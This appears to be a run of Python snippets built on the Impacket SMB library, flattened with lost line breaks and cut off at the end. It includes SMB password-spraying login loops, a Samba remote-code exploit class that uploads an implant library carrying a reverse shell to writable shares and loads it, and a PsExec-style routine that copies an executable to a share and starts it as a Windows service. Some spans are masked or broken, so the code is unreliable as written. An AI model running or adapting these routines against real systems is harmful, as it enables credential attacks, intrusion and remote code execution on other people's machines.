def login(self, ipaddress, port, user_passwd_pair_list): for user_passwd_pair in user_passwd_pair_list: try: fp = SMBConnection('*SMBSERVER', ipaddress, sess_port=int(port), timeout=self.timeout) except Exception as E: logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port)) return try: if fp.login(user_passwd_pair[0], user_passwd_pair[1], ""): if fp.isGuestSession() == 0: log_success("SMB", ipaddress, port, user_passwd_pair) except Exception as E: logger.debug('AuthenticationException: %s' % E) finally: fp.getSMBServer().get_socket().close()
def init_smb_session(args, domain, username, password, address, lmhash, nthash): smbClient = SMBConnection(address, args.target_ip, sess_port=int(args.port)) dialect = smbClient.getDialect() if dialect == SMB_DIALECT: logging.debug("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.debug("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.debug("SMBv2.1 dialect used") else: logging.debug("SMBv3.0 dialect used") if args.k is True: smbClient.kerberosLogin(username, password, domain, lmhash, nthash, args.aesKey, args.dc_ip) else: smbClient.login(username, password, domain, lmhash, nthash) if smbClient.isGuestSession() > 0: logging.debug("GUEST Session Granted") else: logging.debug("USER Session Granted") return smbClient
class CSmbExploit: def __init__(self, options): self.hostname = options.host self.port = options.port self.target = options.target self.module = options.module self.username = options.username if self.username is None: self.username = "" self.password = options.password if self.password is None: self.password = "" self.is_32bit = options.is_32 self.shell = options.shell self.smb = None def load_module(self, module): log("Trying to load module %s" % module) stringbinding = r'ncacn_np:%s[\pipe\%s]' % (self.target, module) sb = transport.DCERPCStringBinding(stringbinding) na = sb.get_network_address() rpctransport = transport.SMBTransport(na, filename=module, smb_connection=self.smb) dce = rpctransport.get_dce_rpc() try: dce.connect() return True except KeyboardInterrupt: print "Aborted." sys.exit(0) except: log("Error: %s" % str(sys.exc_info()[1])) return False def get_my_ip(self): return [ ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.") ][:1] def get_random_name(self, total=8): ret = ''.join( random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(total)) return "%s.so" % ret def make_library(self): if self.hostname is None: l = self.get_my_ip() if len(l) == 0: raise Exception("Cannot resolve local IP address!") self.hostname = l[0] with open("config.h", "wb") as f: f.write(CONFIG_H % (self.port, self.hostname, self.shell)) log("Building libraries...") ret = os.system("make") return ret == 0 def try_put(self, share_name, lib_name, real_file): with open(real_file, "rb") as f: try: self.smb.putFile(share_name[0], lib_name, f.read) return True except: log("Error copying file: %s" % str(sys.exc_info()[1])) return False def get_real_library_name(self): # XXX: TODO: Add support for non Intel based machines if self.is_32bit: return "libimplantx32.so" return "libimplantx64.so" def translate_smb_path(self, path): pos = path.find(":") if pos > -1: path = path[pos + 1:] path = path.replace("\\", "/") return path def try_copy_library(self, lib_name): rpctransport = transport.SMBTransport(self.smb.getRemoteName(), self.smb.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareEnum(dce, 2) l = [] ignore_shares = ["print$", "IPC$"] for share in resp['InfoStruct']['ShareInfo']['Level2']['Buffer']: share_name = share['shi2_netname'][:-1] share_path = self.translate_smb_path(share['shi2_path'][:-1]) l.append([share_name, share_path]) # Randomize the list of shares instead of going from the first to the last random.shuffle(l) real_file = self.get_real_library_name() for share in l: log("Trying to copy library '%s' to share '%s'" % (lib_name, share)) if self.try_put(share, lib_name, real_file): log("Done!") return share[1] return None def do_login(self): try: self.smb = SMBConnection(remoteName='*SMBSERVER', remoteHost=self.target) self.smb.login(user=self.username, password=self.password) if self.smb.isGuestSession(): log("Using a GUEST session") return True except: log("Error logging into the Samba server: %s" % str(sys.exc_info()[1])) return False def exploit(self): if not self.make_library(): log("Error building library:") return False log("Logging into the Samba server %s..." % self.target) if not self.do_login(): log("Cannot log into the Samba server...") return False lib_name = self.get_random_name() if self.module is None: log("Trying to copy random library %s" % lib_name) server_directory = self.try_copy_library(lib_name) if server_directory is None: log("Unable to copy the payload to the target :(") return False self.module = "%s/%s" % (server_directory, lib_name) else: lib_name = self.module return self.load_module(self.module)
class ServiceInstall: def __init__(self, SMBObject, exeFile, serviceName=''): self._rpctransport = 0 self.__service_name = serviceName if len(serviceName) > 0 else ''.join( [random.choice(string.ascii_letters) for i in range(4)]) self.__binary_service_name = ''.join( [random.choice(string.ascii_letters) for i in range(8)]) + '.exe' self.__exeFile = exeFile # We might receive two different types of objects, always end up # with a SMBConnection one if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3): self.connection = SMBConnection(existingConnection=SMBObject) else: self.connection = SMBObject self.share = '' def getShare(self): return self.share def getShares(self): # Setup up a DCE SMBTransport with the connection already in place LOG.info("Requesting shares on %s....." % (self.connection.getRemoteHost())) try: self._rpctransport = transport.SMBTransport( self.connection.getRemoteHost(), self.connection.getRemoteHost(), filename=r'\srvsvc', smb_connection=self.connection) dce_srvs = self._rpctransport.get_dce_rpc() dce_srvs.connect() dce_srvs.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareEnum(dce_srvs, 1) return resp['InfoStruct']['ShareInfo']['Level1'] except: LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost())) raise def createService(self, handle, share, path): LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost())) # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name + '\x00') except Exception as e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0: # We're good, pass the exception pass else: raise e else: # It exists, remove it scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle']) # Create the service command = '%s\\%s' % (path, self.__binary_service_name) try: resp = scmr.hRCreateServiceW(self.rpcsvc, handle, self.__service_name + '\x00', self.__service_name + '\x00', lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START) except: LOG.critical( "Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost())) raise else: return resp['lpServiceHandle'] def openSvcManager(self): LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost()) # Setup up a DCE SMBTransport with the connection already in place self._rpctransport = transport.SMBTransport( self.connection.getRemoteHost(), self.connection.getRemoteHost(), filename=r'\svcctl', smb_connection=self.connection) self.rpcsvc = self._rpctransport.get_dce_rpc() self.rpcsvc.connect() self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR) try: resp = scmr.hROpenSCManagerW(self.rpcsvc) except: LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost()) raise Exception('Unable to open SVCManager') else: return resp['lpScHandle'] def copy_file(self, src, tree, dst): LOG.info("Uploading file %s" % dst) if isinstance(src, str): # We have a filename fh = open(src, 'rb') else: # We have a class instance, it must have a read method fh = src f = dst pathname = f.replace('/', '\\') try: self.connection.putFile(tree, pathname, fh.read) except: LOG.critical("Error uploading file %s, aborting....." % dst) raise fh.close() def findWritableShare(self, shares): # Check we can write a file on the shares, stop in the first one writeableShare = None for i in shares['Buffer']: if i['shi1_type'] == srvs.STYPE_DISKTREE or i[ 'shi1_type'] == srvs.STYPE_SPECIAL: share = i['shi1_netname'][:-1] tid = 0 try: tid = self.connection.connectTree(share) self.connection.openFile( tid, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) except: LOG.debug('Exception', exc_info=True) LOG.critical("share '%s' is not writable." % share) pass else: LOG.info('Found writable share %s' % share) writeableShare = str(share) break finally: if tid != 0: self.connection.disconnectTree(tid) return writeableShare def install(self): if self.connection.isGuestSession(): LOG.critical("Authenticated as Guest. Aborting") self.connection.logoff() del self.connection else: fileCopied = False serviceCreated = False # Do the stuff here try: # Let's get the shares shares = self.getShares() self.share = self.findWritableShare(shares) if self.share is None: return False self.copy_file(self.__exeFile, self.share, self.__binary_service_name) fileCopied = True svcManager = self.openSvcManager() if svcManager != 0: serverName = self.connection.getServerName() if self.share.lower() == 'admin$': path = '%systemroot%' else: if serverName != '': path = '\\\\%s\\%s' % (serverName, self.share) else: path = '\\\\127.0.0.1\\' + self.share service = self.createService(svcManager, self.share, path) serviceCreated = True if service != 0: # Start service LOG.info('Starting service %s.....' % self.__service_name) try: scmr.hRStartServiceW(self.rpcsvc, service) except: pass scmr.hRCloseServiceHandle(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, svcManager) return True except Exception as e: LOG.critical( "Error performing the installation, cleaning up: %s" % e) LOG.debug("Exception", exc_info=True) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass if fileCopied is True: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: pass if serviceCreated is True: try: scmr.hRDeleteService(self.rpcsvc, service) except: pass return False def uninstall(self): fileCopied = True serviceCreated = True # Do the stuff here try: # Let's get the shares svcManager = self.openSvcManager() if svcManager != 0: resp = scmr.hROpenServiceW(self.rpcsvc, svcManager, self.__service_name + '\x00') service = resp['lpServiceHandle'] LOG.info('Stopping service %s.....' % self.__service_name) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass LOG.info('Removing service %s.....' % self.__service_name) scmr.hRDeleteService(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, svcManager) LOG.info('Removing file %s.....' % self.__binary_service_name) self.connection.deleteFile(self.share, self.__binary_service_name) except Exception: LOG.critical("Error performing the uninstallation, cleaning up") try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass if fileCopied is True: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: pass pass if serviceCreated is True: try: scmr.hRDeleteService(self.rpcsvc, service) except: pass
class test_login(Thread): def __init__(self, target): Thread.__init__(self) self.__target = target self.__credentials = self.__target.get_credentials() self.__domains = self.__target.get_domains() self.__dstip = self.__target.get_host() self.__dstport = self.__target.get_port() self.__target_id = self.__target.get_identity() self.__destfile = '*SMBSERVER' if self.__dstport == 139 else self.__dstip self.__srcfile = conf.name self.__timeout = 3 def connect(self): self.smb = SMBConnection(self.__destfile, self.__dstip, self.__srcfile, self.__dstport, self.__timeout) def login(self, user, password, lmhash, nthash, domain): self.smb.login(user, password, domain, lmhash, nthash) def logoff(self): self.smb.logoff() def check_admin(self): try: self.__trans = transport.SMBTransport(remoteName=self.__dstip, dstport=self.__dstport, filename='svcctl', smb_connection=self.smb, remote_host=self.__dstip) self.__trans.connect() self.__dce = self.__trans.get_dce_rpc() self.__dce.bind(scmr.MSRPC_UUID_SCMR) self.__resp = scmr.hROpenSCManagerW( self.__dce, dwDesiredAccess=scmr.SC_MANAGER_CREATE_SERVICE) self.__mgr_handle = self.__resp['lpScHandle'] scmr.hRCloseServiceHandle(self.__dce, self.__mgr_handle) self.__dce.disconnect() return True except rpcrt.DCERPCException as e: pass except Exception as e: logger.error('Check admin error: %s' % str(e)) return False def run(self): global pool_thread global successes try: logger.info('Assessing host %s' % self.__target_id) for credential in self.__credentials: user, password, lmhash, nthash = credential.get_credential() password_str = None if password != '' or (password == '' and lmhash == '' and nthash == ''): password_str = password or 'BLANK' elif lmhash != '' and nthash != '': password_str = '%s:%s' % (lmhash, nthash) for domain in self.__domains: if stop_threads[0]: break status = False error_code = None is_admin = None if domain: user_str = '%s\\%s' % (domain, user) else: user_str = user try: self.connect() self.login(user, password, lmhash, nthash, domain) if self.smb.isGuestSession() > 0: logger.warn( '%s allows guest sessions with any credentials, skipping further login attempts' % self.__target_id) return else: credential.is_admin = self.check_admin() if (self.smb.getServerDomain().upper() != domain.upper() and self.smb.getServerName().upper() != domain.upper()): domain = '' user_str = user credential.domain = domain logger.info( 'Successful login for %s with %s on %s %s' % (user_str, password_str, self.__target_id, "(admin user)" if is_admin else "")) self.logoff() status = True successes += 1 credential.is_valid = True except SessionError as e: logger.debug('Failed login for %s with %s on %s %s' % (user_str, password_str, self.__target_id, e.getErrorString())) error_code = e.getErrorCode() if e.getErrorString( )[0] is "STATUS_PASSWORD_MUST_CHANGE": credential.is_valid = True credential.password_change_required = True status = True elif e.getErrorString( )[0] is "STATUS_ACCOUNT_LOCKED_OUT": credential.is_valid = True credential.is_locked_out = True status = True elif e.getErrorString( )[0] is "STATUS_ACCOUNT_DISABLED": credential.is_valid = True credential.account_disabled = True status = True elif e.getErrorString( )[0] is "STATUS_INVALID_LOGON_HOURS": credential.is_valid = True credential.outside_logon_hours = True status = True else: credential.is_valid = False if status is True: break logger.info('Assessment on host %s finished' % self.__target.get_identity()) except (socket.error, socket.herror, socket.gaierror, socket.timeout, NetBIOSTimeout) as e: if not stop_threads[0]: logger.warn('Connection to host %s failed (%s)' % (self.__target.get_identity(), str(e))) self.__target.update_credentials(self.__credentials) pool_thread.release()
class SMB_ENUM(object): def __init__(self, ip="", user="******", password=""): self.target = ip self.port = 445 self.user = user self.password = password self.ignore_share = ["IPC$"] self.avaliable_opt = ["target", "user", "password"] logger.init() def set_target(self, ip): self.target = ip print("TARGET => %s" % self.target) def set_user(self, user): self.user = user print("USER => %s" % self.user) def set_password(self, password): self.password = password print("PASSWORD => %s" % self.password) def show_help(self): print("\n\tShow available commands for current module\n") print("\thelp - print this help") print("\tshow options - list available options") print("\tset - use to set required options\n") def show_options(self): print("\n\tShow Available options for current module\n") print("\tTARGET - REMOTE TARGET IP ADDRESS") print( "\tUSER - USER NAME USE TO AUTHENTICATE TO REMOTE SERVER (OPTIONAL)" ) print( "\tPASSWORD - PASSWORD USE TO AUTHENTICATE TO REMOTE SERVER (OPTIONAL)\n" ) print("\n\tCurrent Settings\n") if self.target != "": print("\tTARGET - %s" % self.target) if self.user != "Guest": print("\tUSER - %s" % self.user) if self.password != "": print("\tPASSWORD - %s" % self.password) def tryLogin(self): ''' Setup a connection with smb server, authenticate using the give user name and password. if the user name and password is not specify use guest as login. If successfully authenticated create an interactive section between smb server and client :return: ''' try: # Setup SMB Connection and Create an interactive shell logging.info("Trying To Authenticate As %s ..." % self.user) self.smbClient = SMBConnection(self.target, self.target, sess_port=self.port) self.smbClient.login(self.user, self.password) logging.info("Successfully Login As %s ..." % self.user) self.shell = MiniImpacketShell(self.smbClient) except Exception as e: LOG.level = logging.DEBUG if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) def recursive_dirlist(self, directory_list, share=""): ''' List for file and directory recursively according to their permission. :param directory_list: :param share: :return: ''' if len(directory_list) != 0: for directory in directory_list: LOG.info("Listing File And Directory For Path \\\\%s\\%s" % (share, directory)) print("\n") self.shell.do_cd(directory) directory_list = self.shell.do_ls('') print("\n") temp_share = share if len(directory_list) != 0: share += "\\" + directory self.recursive_dirlist(directory_list, share) else: self.shell.do_cd("..") share = temp_share def enumerateShares(self): ''' :return: ''' shares = self.shell.do_shares("shares") shares_list = [] logging.info("Listing Shares") logging.getLogger().level = logging.DEBUG for i in range(len(shares)): share = shares[i]['shi1_netname'][:-1] logging.debug(share) if share not in self.ignore_share: if self.smbClient.isGuestSession() > 0: if "$" not in share: shares_list.append(share) else: shares_list.append(share) LOG.level = logging.INFO print("\n") if len(shares_list) != 0: for share in shares_list: try: LOG.info("Listing File And Directory For Share %s \n" % share) self.shell.do_use(share) directory_list = self.shell.do_ls('') print("\n") if "$" not in share: self.recursive_dirlist(directory_list, share) except Exception as e: LOG.level = logging.DEBUG if logging.getLogger().level == logging.DEBUG: import traceback #traceback.print_exc() logging.error(str(e)) print("\n") def run(self): try: self.tryLogin() self.enumerateShares() except: pass
def login(host, args): try: smbconn = SMBConnection(host, host, timeout=args.timeout) # throws socket.error except Exception as e: sys.stdout.write('{} {}\\{} {}\n'.format( host, args.domain, args.username + ':' + args.password, 'ConnectionError')) return error_code = STATUS_SUCCESS try: if args.nthash: smbconn.login(args.username, '', nthash=args.password, domain=args.domain) elif args.nthash: smbconn.login(args.username, '', lmhash=args.password, domain=args.domain) else: smbconn.login(args.username, args.password, domain=args.domain) except impacket.smbconnection.SessionError as e: error_code = e.getErrorCode() if error_code != STATUS_SUCCESS: status = 'LoginError' if error_code == STATUS_LOGON_FAILURE: status = 'Failure' if args.domain != '.': raise RuntimeError( 'Aborting: domain creds are invalid, preventing lockout') sys.stdout.write('{} {}\\{} {}\n'.format( host, args.domain, args.username + ':' + args.password, status)) return try: # for s in smbconn.listShares(): # print(s['shi1_netname'][:-1]) smbconn.connectTree(r'ADMIN$') status = '*Success' except Exception as e: error_code = e.getErrorCode() if error_code != STATUS_SUCCESS: status = 'ConnectTreeError ' + hex(error_code) if smbconn.isGuestSession(): status = 'Guest' elif error_code == STATUS_ACCESS_DENIED: status = 'Success' elif error_code == STATUS_BAD_NETWORK_NAME: # ADMIN$ doesn't exist, probably Samba status = 'ShareNameError' try: smbconn.logoff() except: pass sys.stdout.write('{} {}\\{} {}\n'.format( host, args.domain, args.username + ':' + args.password, status))
class MiniImpacketShell(cmd.Cmd): def __init__(self, smbClient, tcpShell=None): #If the tcpShell parameter is passed (used in ntlmrelayx), # all input and output is redirected to a tcp socket # instead of to stdin / stdout if tcpShell is not None: cmd.Cmd.__init__(self, stdin=tcpShell.stdin, stdout=tcpShell.stdout) sys.stdout = tcpShell.stdout sys.stdin = tcpShell.stdin sys.stderr = tcpShell.stdout self.use_rawinput = False self.shell = tcpShell else: cmd.Cmd.__init__(self) self.shell = None self.prompt = '# ' self.smb = smbClient self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = smbClient.getCredentials() self.tid = None self.intro = 'Type help for list of commands' self.pwd = '' self.share = None self.loggedIn = True self.last_output = None self.completion = [] def emptyline(self): pass def precmd(self, line): # switch to unicode return line def onecmd(self,s): retVal = False try: retVal = cmd.Cmd.onecmd(self,s) except Exception as e: LOG.error(e) LOG.debug('Exception info', exc_info=True) return retVal def do_exit(self,line): if self.shell is not None: self.shell.close() return True def do_shell(self, line): output = os.popen(line).read() print(output) self.last_output = output def do_help(self,line): print(""" open {host,port=445} - opens a SMB connection against the target host/port login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes logoff - logs off shares - list available shares use {sharename} - connect to an specific share cd {path} - changes the current directory to {path} lcd {path} - changes the current local directory to {path} pwd - shows current remote directory password - changes the user password, the new password will be prompted for input ls {wildcard} - lists all the files in the current directory rm {file} - removes the selected file mkdir {dirname} - creates the directory under the current path rmdir {dirname} - removes the directory under the current path put {filename} - uploads the filename into the current path get {filename} - downloads the filename from the current path mget {mask} - downloads all files from the current directory matching the provided mask cat {filename} - reads the filename from the current path mount {target,path} - creates a mount point from {path} to {target} (admin required) umount {path} - removes the mount point at {path} without deleting the directory (admin required) list_snapshots {path} - lists the vss snapshots for the specified path info - returns NetrServerInfo main results who - returns the sessions currently connected at the target host (admin required) close - closes the current SMB Session exit - terminates the server process (and this session) """) def do_password(self, line): if self.loggedIn is False: LOG.error("Not logged in") return from getpass import getpass newPassword = getpass("New Password:"******"SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: LOG.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: LOG.info("SMBv2.1 dialect used") else: LOG.info("SMBv3.0 dialect used") self.share = None self.tid = None self.pwd = '' self.loggedIn = False self.password = None self.lmhash = None self.nthash = None self.username = None def do_login(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') username = '' password = '' domain = '' if len(l) > 0: username = l[0] if len(l) > 1: password = l[1] if username.find('/') > 0: domain, username = username.split('/') if password == '' and username != '': from getpass import getpass password = getpass("Password:"******"GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True def do_kerberos_login(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') username = '' password = '' domain = '' if len(l) > 0: username = l[0] if len(l) > 1: password = l[1] if username.find('/') > 0: domain, username = username.split('/') if domain == '': LOG.error("Domain must be specified for Kerberos login") return if password == '' and username != '': from getpass import getpass password = getpass("Password:"******"GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True def do_login_hash(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') domain = '' if len(l) > 0: username = l[0] if len(l) > 1: hashes = l[1] else: LOG.error("Hashes needed. Format is lmhash:nthash") return if username.find('/') > 0: domain, username = username.split('/') lmhash, nthash = hashes.split(':') self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash) self.username = username self.lmhash = lmhash self.nthash = nthash if self.smb.isGuestSession() > 0: LOG.info("GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True def do_logoff(self, line): if self.smb is None: LOG.error("No connection open") return self.smb.logoff() del self.smb self.share = None self.smb = None self.tid = None self.pwd = '' self.loggedIn = False self.password = None self.lmhash = None self.nthash = None self.username = None def do_info(self, line): if self.loggedIn is False: LOG.error("Not logged in") return rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrServerGetInfo(dce, 102) print("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major']) print("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor']) print("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name']) print("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment']) print("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath']) print("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users']) def do_who(self, line): if self.loggedIn is False: LOG.error("Not logged in") return rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10) for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']: print("host: %15s, user: %5s, active: %5d, idle: %5d" % ( session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'], session['sesi10_idle_time'])) def do_shares(self, line): if self.loggedIn is False: LOG.error("Not logged in") return resp = self.smb.listShares() for i in range(len(resp)): print(resp[i]['shi1_netname'][:-1]) def do_use(self,line): if self.loggedIn is False: LOG.error("Not logged in") return self.share = line self.tid = self.smb.connectTree(line) self.pwd = '\\' self.do_ls('', False) def complete_cd(self, text, line, begidx, endidx): return self.complete_get(text, line, begidx, endidx, include = 2) def do_cd(self, line): if self.tid is None: LOG.error("No share selected") return p = line.replace('/','\\') oldpwd = self.pwd if p[0] == '\\': self.pwd = line else: self.pwd = ntpath.join(self.pwd, line) self.pwd = ntpath.normpath(self.pwd) # Let's try to open the directory to see if it's valid try: fid = self.smb.openFile(self.tid, self.pwd, creationOption = FILE_DIRECTORY_FILE, desiredAccess = FILE_READ_DATA | FILE_LIST_DIRECTORY, shareMode = FILE_SHARE_READ | FILE_SHARE_WRITE ) self.smb.closeFile(self.tid,fid) except SessionError: self.pwd = oldpwd raise def do_lcd(self, s): print(s) if s == '': print(os.getcwd()) else: os.chdir(s) def do_pwd(self,line): if self.loggedIn is False: LOG.error("Not logged in") return print(self.pwd) def do_ls(self, wildcard, display = True): if self.loggedIn is False: LOG.error("Not logged in") return if self.tid is None: LOG.error("No share selected") return if wildcard == '': pwd = ntpath.join(self.pwd,'*') else: pwd = ntpath.join(self.pwd, wildcard) self.completion = [] pwd = pwd.replace('/','\\') pwd = ntpath.normpath(pwd) for f in self.smb.listPath(self.share, pwd): if display is True: print("%crw-rw-rw- %10d %s %s" % ( 'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())), f.get_longname())) self.completion.append((f.get_longname(), f.is_directory())) def do_rm(self, filename): if self.tid is None: LOG.error("No share selected") return f = ntpath.join(self.pwd, filename) file = f.replace('/','\\') self.smb.deleteFile(self.share, file) def do_mkdir(self, path): if self.tid is None: LOG.error("No share selected") return p = ntpath.join(self.pwd, path) pathname = p.replace('/','\\') self.smb.createDirectory(self.share,pathname) def do_rmdir(self, path): if self.tid is None: LOG.error("No share selected") return p = ntpath.join(self.pwd, path) pathname = p.replace('/','\\') self.smb.deleteDirectory(self.share, pathname) def do_put(self, pathname): if self.tid is None: LOG.error("No share selected") return src_path = pathname dst_name = os.path.basename(src_path) fh = open(pathname, 'rb') f = ntpath.join(self.pwd,dst_name) finalpath = f.replace('/','\\') self.smb.putFile(self.share, finalpath, fh.read) fh.close() def complete_get(self, text, line, begidx, endidx, include = 1): # include means # 1 just files # 2 just directories p = line.replace('/','\\') if p.find('\\') < 0: items = [] if include == 1: mask = 0 else: mask = 0x010 for i in self.completion: if i[1] == mask: items.append(i[0]) if text: return [ item for item in items if item.upper().startswith(text.upper()) ] else: return items def do_mget(self, mask): if mask == '': LOG.error("A mask must be provided") return if self.tid is None: LOG.error("No share selected") return self.do_ls(mask,display=False) if len(self.completion) == 0: LOG.error("No files found matching the provided mask") return for file_tuple in self.completion: if file_tuple[1] == 0: filename = file_tuple[0] filename = filename.replace('/', '\\') fh = open(ntpath.basename(filename), 'wb') pathname = ntpath.join(self.pwd, filename) try: LOG.info("Downloading %s" % (filename)) self.smb.getFile(self.share, pathname, fh.write) except: fh.close() os.remove(filename) raise fh.close() def do_get(self, filename): if self.tid is None: LOG.error("No share selected") return filename = filename.replace('/','\\') fh = open(ntpath.basename(filename),'wb') pathname = ntpath.join(self.pwd,filename) try: self.smb.getFile(self.share, pathname, fh.write) except: fh.close() os.remove(filename) raise fh.close() def do_cat(self, filename): if self.tid is None: LOG.error("No share selected") return filename = filename.replace('/','\\') fh = BytesIO() pathname = ntpath.join(self.pwd,filename) try: self.smb.getFile(self.share, pathname, fh.write) except: raise output = fh.getvalue() encoding = "" # chardet.detect(output)["encoding"] error_msg = "[-] Output cannot be correctly decoded, are you sure the text is readable ?" if encoding: try: print(output.decode(encoding)) except: print(error_msg) finally: fh.close() else: print(error_msg) fh.close() def do_close(self, line): self.do_logoff(line) def do_list_snapshots(self, line): l = line.split(' ') if len(l) > 0: pathName= l[0].replace('/','\\') # Relative or absolute path? if pathName.startswith('\\') is not True: pathName = ntpath.join(self.pwd, pathName) snapshotList = self.smb.listSnapshots(self.tid, pathName) if not snapshotList: print("No snapshots found") return for timestamp in snapshotList: print(timestamp) def do_mount(self, line): l = line.split(' ') if len(l) > 1: target = l[0].replace('/','\\') pathName= l[1].replace('/','\\') # Relative or absolute path? if pathName.startswith('\\') is not True: pathName = ntpath.join(self.pwd, pathName) self.smb.createMountPoint(self.tid, pathName, target) def do_umount(self, mountpoint): mountpoint = mountpoint.replace('/','\\') # Relative or absolute path? if mountpoint.startswith('\\') is not True: mountpoint = ntpath.join(self.pwd, mountpoint) mountPath = ntpath.join(self.pwd, mountpoint) self.smb.removeMountPoint(self.tid, mountPath) def do_EOF(self, line): print('Bye!\n') return True
class ServiceInstall: def __init__(self, SMBObject, exeFile, serviceName=''): self._rpctransport = 0 self.__service_name = serviceName if len(serviceName) > 0 else ''.join([random.choice(string.ascii_letters) for i in range(4)]) self.__binary_service_name = ''.join([random.choice(string.ascii_letters) for i in range(8)]) + '.exe' self.__exeFile = exeFile # We might receive two different types of objects, always end up # with a SMBConnection one if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3): self.connection = SMBConnection(existingConnection = SMBObject) else: self.connection = SMBObject self.share = '' def getShare(self): return self.share def getShares(self): # Setup up a DCE SMBTransport with the connection already in place LOG.info("Requesting shares on %s....." % (self.connection.getRemoteHost())) try: self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),filename = r'\srvsvc', smb_connection = self.connection) dce_srvs = self._rpctransport.get_dce_rpc() dce_srvs.connect() dce_srvs.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareEnum(dce_srvs, 1) return resp['InfoStruct']['ShareInfo']['Level1'] except: LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost())) raise def createService(self, handle, share, path): LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost())) # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00') except Exception as e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0: # We're good, pass the exception pass else: raise e else: # It exists, remove it scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle']) # Create the service command = '%s\\%s' % (path, self.__binary_service_name) try: resp = scmr.hRCreateServiceW(self.rpcsvc, handle,self.__service_name + '\x00', self.__service_name + '\x00', lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START) except: LOG.critical("Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost())) raise else: return resp['lpServiceHandle'] def openSvcManager(self): LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost()) # Setup up a DCE SMBTransport with the connection already in place self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(), filename = r'\svcctl', smb_connection = self.connection) self.rpcsvc = self._rpctransport.get_dce_rpc() self.rpcsvc.connect() self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR) try: resp = 